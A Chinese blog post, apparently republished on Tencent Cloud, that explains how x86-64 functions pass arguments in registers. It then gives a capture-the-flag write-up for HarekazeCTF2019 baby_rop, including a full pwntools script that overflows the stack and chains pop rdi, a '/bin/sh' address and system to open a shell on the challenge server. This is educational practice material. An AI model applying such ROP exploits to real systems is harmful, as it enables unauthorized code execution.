前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PWN 64位程序寄存器的使用

PWN 64位程序寄存器的使用

作者头像
yulate
发布2023-05-02 11:09:38
3730
发布2023-05-02 11:09:38
举报

本文最后更新于 556 天前,其中的信息可能已经有所发展或是发生改变。

刷题多了对寄存器开始有着一定的了解了,这篇文章就来总结一下。

六十四位汇编

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。 参数个数大于 7 个的时候 H(a, b, c, d, e, f, g, h); a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9 h->8(%esp) g->(%esp) call H

也就是说在六十四位程序的payload构造过程中如果需要传入参数就需要对应的寄存器地址,如一个参数就需要进行寻找pop rdi地址

例题分析

[HarekazeCTF2019]baby_rop

分析

printf函数中的v4没做长度限制,很明显的栈溢出。

程序string中包含/bin/sh,但是没有函数调用,这里用pop rdi调用

payload
代码语言:javascript
复制
from pwn import *

context.log_level = 'debug'
p = remote("node4.buuoj.cn",28395)
elf = ELF('./babyrop')

system_addr = elf.symbols['system']
pop_rdi = 0x400683
binsh_addr =  0x601048

payload = b'a' * (0x10 + 8) +  p64(pop_rdi) + p64(binsh_addr) +p64(system_addr)
p.sendline(payload)
p.interactive()

参考资料

64位汇编参数传递:http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/

浏览量: 262

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-10-18 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 六十四位汇编
  • 例题分析
    • [HarekazeCTF2019]baby_rop
      • 分析
      • payload
  • 参考资料
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档